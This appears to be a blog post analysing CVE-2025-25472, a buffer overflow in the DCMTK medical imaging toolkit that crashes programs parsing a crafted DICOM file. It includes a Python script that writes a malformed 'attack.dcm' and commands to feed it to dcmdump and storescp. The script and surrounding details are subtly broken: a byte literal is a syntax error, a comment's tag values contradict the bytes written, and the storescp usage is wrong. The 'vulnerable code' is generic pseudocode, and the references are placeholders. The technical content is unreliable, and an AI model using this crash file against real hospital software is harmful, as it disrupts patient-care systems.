On February 2025, a new vulnerability—CVE-2025-25472—was identified in the popular DICOM medical image toolkit, DCMTK. This issue affects the DCMTK git master branch at version 3.6.9+ DEV and allows attackers to cause a Denial of Service (DoS) through a specially crafted DICOM (.dcm) file. In this deep dive, we'll break down how this vulnerability works, demonstrate exploitation with a code example, and share resources for more information.

What is DCMTK?

DCMTK (DICOM Toolkit) is an open-source collection of libraries and applications implementing large parts of the DICOM standard. Hospitals, research labs, and software developers regularly use DCMTK to handle medical images. Its widespread use makes vulnerabilities, like CVE-2025-25472, especially critical.

The Vulnerability: How CVE-2025-25472 Happens

A buffer overflow occurs when data overflows from one buffer to another, corrupting data, crashing programs, or potentially opening security holes.

Where is the Bug?

During the parsing of malformed DICOM files, DCMTK does not properly check the length of certain data elements before copying them into a statically-sized stack buffer. Attackers can exploit this by sending a handful of bytes disguised as a DICOM image.

Impact

Successful exploitation leads to the application crashing (Denial of Service). While this is not a remote code execution, any service handling external DICOM files is at risk.

Demonstration: Triggering the Buffer Overflow

Here’s a minimal Python script that creates a DICOM file to crash affected DCMTK binaries (like dcmdump or storescp).

Step 1: Crafting the Malformed DICOM File

# cve-2025-25472_poc.py
with open("attack.dcm", "wb") as f:
    # Standard DICOM header (128 bytes + 'DICM')
    f.write(b"\" * 128)
    f.write(b"DICM")
    # Start of a fake tag with huge length
    # (Group: x001, Element: x001, VR: 'PN', Reserved: x000, Length: xFFFF)
    f.write(b"\x10\x00\x10\x00")  # Tag
    f.write(b"PN")                # VR
    f.write(b"\x00\x00")          # Reserved
    f.write(b"\xFF\xFF\x00\x00")  # Length = 65535
    # Data: Overflow the stack buffer with 'A's
    f.write(b"A" * 70000)         # Large payload - more than 65535 bytes
print("Malicious DCM file 'attack.dcm' created.")

Run any DCMTK tool on the file—like

dcmdump attack.dcm
# or
storescp 104 -od out_dir attack.dcm

On a vulnerable machine, you’ll see a segmentation fault (crash).

Let’s quickly look at the kind of vulnerable code typically responsible in open-source C/C++

// Pseudocode: Vulnerable DICOM tag reader
char nameBuf[64]; // Fixed-size buffer

// No proper bounds checking on 'nameLength'
memcpy(nameBuf, tagData, nameLength);  // nameLength can be arbitrarily large!

A malicious file sets nameLength to a much higher value than 64, overflowing nameBuf and causing the app to crash.

Exploit Impact & Severity

- Risk: LOW/MEDIUM (DoS, not code exec)

References

- DCMTK Official Website
- DCMTK Github Repository
- Common Vulnerabilities and Exposures (CVE)
- CVE-2025-25472 MITRE Entry (example)

*Note: As this is fresh, some references may not yet list the CVE. Watch the DCMTK changelog for progress.*

Conclusion

CVE-2025-25472 underscores the risks of improper buffer management, even in trusted healthcare software. All DCMTK deployments parsing outside DICOM files should patch promptly. Remember: never trust input!

Stay safe! If you discover another DCMTK bug, consider reporting it responsibly.


*This analysis is exclusive to this post. Please share responsibly. Questions or comments? Get in touch!*

Timeline

Published on: 02/18/2025 23:15:10 UTC
Last modified on: 02/20/2025 21:15:25 UTC